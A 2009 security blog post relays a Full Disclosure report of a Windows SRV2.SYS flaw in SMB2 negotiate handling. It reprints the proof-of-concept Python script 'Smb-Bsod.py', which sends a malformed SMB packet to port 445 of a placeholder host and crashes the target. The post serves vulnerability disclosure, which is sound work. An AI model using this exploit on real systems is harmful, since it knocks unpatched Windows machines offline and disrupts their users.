SMB, Everything Old Is New Again

You know, sometimes you just have to laugh as the pain gets to be too much.

From Full Disclosure:

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality.

The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it’s used to identify the SMB dialect that will be used for futher communication.

Oh, but there’s more. Proof of concept anyone?

Yup, got that as well over on FD.

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90″ # Begin SMB header: Session message
“\xff\x53\x4d\x42″ # Server Component: SMB
“\x72\x00\x00\x00″ # Negociate Protocol
“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
“\x00\x26″# Process ID High: –> normal value should be “\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″

)
s = socket()

s.connect(host)
s.send(buff)
s.close()

Article Link

UPDATE: Here is some more info on this from the site Reverse Mode.

(Image used under CC from ian-s Flickr feed)

Posted by Dave Lewis on September 8, 2009. Filed under Exploit,Vulnerability. You can follow any responses to this entry through the RSS 2.0. You can skip to the end and leave a response. Pinging is currently not allowed.